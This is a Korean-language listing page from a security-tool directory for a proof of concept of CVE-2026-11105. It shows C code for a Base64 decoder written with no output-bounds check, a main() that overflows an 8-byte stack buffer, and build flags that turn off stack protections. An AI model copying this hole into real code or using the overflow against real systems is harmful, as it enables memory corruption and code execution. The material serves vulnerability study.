Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-11105-Stack-Buffer-Overflow-in-Custom-Base64-Decoder — CVE-2026-11105 PoC: 커스텀 Base64 디코더의 스택 버퍼 오버플로를 시연하며, 특수 제작된 과도한 크기의 입력이 스택 메모리를 덮어써 임의 코드 실행을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/george0papasotiriou/cve-2026-11105-stack-buffer-overflow-in-custom-base64-decoder
Vulnerability AnalysisExploitationLearning & EducationPayload DevelopmentBinary Exploitation
GitHubgeorge0papasotiriou/cve-2026-11105-stack-buffer-overflow-in-custom-base64-decoder

CVE-2026-11105-Stack-Buffer-Overflow-in-Custom-Base64-Decoder

CVE-2026-11105 PoC: 커스텀 Base64 디코더의 스택 버퍼 오버플로를 시연하며, 특수 제작된 과도한 크기의 입력이 스택 메모리를 덮어써 임의 코드 실행을 가능하게 합니다.

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-11105 – 사용자 지정 Base64 디코더의 스택 버퍼 오버플로우

프로그램 코드 (C)

root@kitploit:~
// base64_vuln.c - Vulnerable Base64 decoder
#include <stdio.h>
#include <string.h>
#include <stdint.h>

int base64_decode(const char *in, size_t inlen, char *out, size_t outlen) {
    static const char table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    int outpos = 0;
    for (int i=0; i<inlen; i+=4) {
        uint32_t sextet = 0;
        int bytes = 0;
        for (int j=0; j<4; j++) {
            if (i+j >= inlen) break;
            const char *p = strchr(table, in[i+j]);
            if (p) sextet = (sextet << 6) | (p - table);
            else bytes++;
        }
        // No check on outpos exceeding outlen!
        out[outpos++] = (sextet >> 16) & 0xFF;
        if (bytes < 2) out[outpos++] = (sextet >> 8) & 0xFF;
        if (bytes < 1) out[outpos++] = sextet & 0xFF;
    }
    return outpos;
}

int main() {
    char smallbuf[8];
    char *malicious = "AAAA"; // padded, decodes to 3 bytes, but we'll feed a long string
    // Attacker sends very long Base64 string, overflows smallbuf
    base64_decode("QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB", 60, smallbuf, 8);
    return 0;
}

CVE-2026-11105 – Base64 디코더의 스택 버퍼 오버플로우

Severity: Critical

개요

사용자 지정 Base64 디코딩 함수는 출력 버퍼의 크기를 검증하지 않아 전형적인 스택 버퍼 오버플로우를 유발합니다. 공격자는 과도하게 큰 입력을 조작하여 반환 주소를 덮어쓰고 코드 실행을 달성할 수 있습니다.

취약점 세부 정보

  • 유형: 스택 버퍼 오버플로우
  • 영향: 원격 코드 실행 (네트워크에 노출된 경우).
  • 근본 원인: 디코더는 출력 포인터가 할당된 버퍼 내에 유지되는지 확인하지 않고 디코딩된 바이트를 순차적으로 기록합니다.

익스플로잇 데모

  1. 취약한 디코더를 컴파일합니다 (보호 기능 비활성화):
    root@kitploit:~
    gcc -o base64_vuln base64_vuln.c -fno-stack-protector -z execstack
    
  2. 익스플로잇 스크립트를 실행하여 오버플로우를 트리거합니다:
    root@kitploit:~
    python exploit_base64_overflow.py
    
root@kitploit:~
도구 다운로드